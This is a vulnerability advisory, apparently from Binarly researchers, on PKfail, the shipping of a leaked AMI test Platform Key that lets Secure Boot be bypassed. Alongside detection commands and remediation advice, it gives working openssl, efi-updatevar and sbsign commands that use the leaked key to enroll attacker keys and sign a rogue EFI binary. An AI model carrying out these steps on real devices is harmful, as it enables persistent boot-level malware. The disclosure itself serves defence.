.webp)
The Binarly REsearch Team has found that hundreds of devices use an insecure Platform Key (PK) which represents the root of trust for UEFI Secure Boot.
These insecure keys were generated by American Megatrends International (AMI) and were likely supplied as reference example to device vendors.
The usage of default test keys poses an immediate and high-severity risk as it makes it trivial to defeat Secure Boot on affected devices, allowing malicious actors to launch advanced firmware-level threats, such as BlackLotus, from the operating system.
Given the wide scope of this vulnerability, which affects multiple vendors and several consumer- and enterprise-grade devices, we will refer to it as PKfail.
Secure Boot is a security feature that ensures only trusted and verified software runs during the boot process.
Secure Boot relies on four key databases:
1. Platform Key (PK): The root of trust key embedded in the system firmware, establishes trust between the platform owner and platform firmware.
2. Key Exchange Key (KEK): A key used to administer db and dbx, establishing trust between the operating system and the platform firmware.
3. Signature Database (db): A database containing trusted signatures and certificates for third party UEFI components and boot loaders.
4. Forbidden Signature Database (dbx): A database containing signatures for known malicious software.
These components create a chain of trust, preventing unauthorized or malicious software from compromising the system during the boot process.
PKfail is the result of device vendors using as Platform Key a default test key provided by AMI.
Since these keys were generated for testing purposes and thus likely supplied as part of AMI UEFI solution, they should be assumed untrusted and compromised.
In particular, we identified the private part of a Platform Key in a recent data breach that affected an ODM working with AMI.
As shown in the next section, owning this private key makes it extremely straightforward to manipulate the content of db and dbx.
Since these databases are used by UEFI firmware to determine whether third-party UEFI modules and bootloaders are allowed to execute or must be forbidden, an attacker leveraging PKfail can easily run malicious code during the boot process even on devices where Secure Boot is enabled.
The attack starts by generating new keys and certificates by using the openssl command:
openssl req -newkey rsa:4096 -nodes -keyout KEK.key -new -x509 -sha256 -days 3650 -subj "/CN=BRLY KEK/" -out KEK.crt
openssl req -newkey rsa:4096 -nodes -keyout db.key -new -x509 -sha256 -days 3650 -subj "/CN=BRLY db/" -out db.crt
Next, the private part of AMI test PK (PK.key), which was leaked during a recent data breach, can be used to append the freshly generated KEK certificate (KEK.crt) to the KEK database:
sudo efi-updatevar -a -c KEK.crt -k PK.key KEK
Then, the corresponding KEK private key (KEK.key) can be used to update the db database with the new certificate (db.crt):
sudo efi-updatevar -a -c db.crt -k KEK.key dbAt this point executing untrusted code during boot--even when Secure Boot is enabled--is straightforward, as any EFI binary can be signed with the db key:
sbsign --key db.key --cert db.crt --output rogue.efi.signed rogue.efi
As an alternative, it is also possible to append the binary hash of the rogue EFI binary to the db database:
sudo efi-updatevar -a -b rogue.efi -k KEK.key db
The Binarly REsearch Team confirmed these steps on a Gigabyte GB-BER5(HS)-5500, which is using the leaked Platform Key.
Devices affected by PKfail will have the Platform Key certificate's subject and issuer fields containing the string DO NOT TRUST or DO NOT SHIP.
On Linux devices, PKfail can be detected by inspecting the content of the PK variable:
$ efi-readvar -v PK
Variable PK, length 862
PK: List 0, type X509
Signature 0, size 834, owner 26dc4851-195f-4ae1-9a19-fbf883bbb35e
Subject:
CN=DO NOT TRUST - AMI Test PK
Issuer:
CN=DO NOT TRUST - AMI Test PK
On Windows devices, the following command run from a PowerShell administrator console will print True on devices affected by PKfail:
[System.Text.Encoding]::ASCII.GetString((Get-SecureBootUEFI PK).bytes) -match "DO NOT TRUST|DO NOT SHIP"
To evaluate the impact of PKfail, we analyzed an internal dataset of UEFI firmware with our Binarly Transparency Platform. For a complete list of untrusted PKs identified by the Binarly Transparency Platform, visit this GitHub page.
Addressing PKfail requires rekeying on affected devices the Platform Key with a new trusted key.
Devices affected by PKfail must be assumed compromised and thus KEK, db and dbx must also be checked and replaced with new databases of trusted signatures and certificates.
This bug is subject to a 90 day disclosure deadline. After 90 days elapsed or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.
The Binarly REsearch Team
.svg)
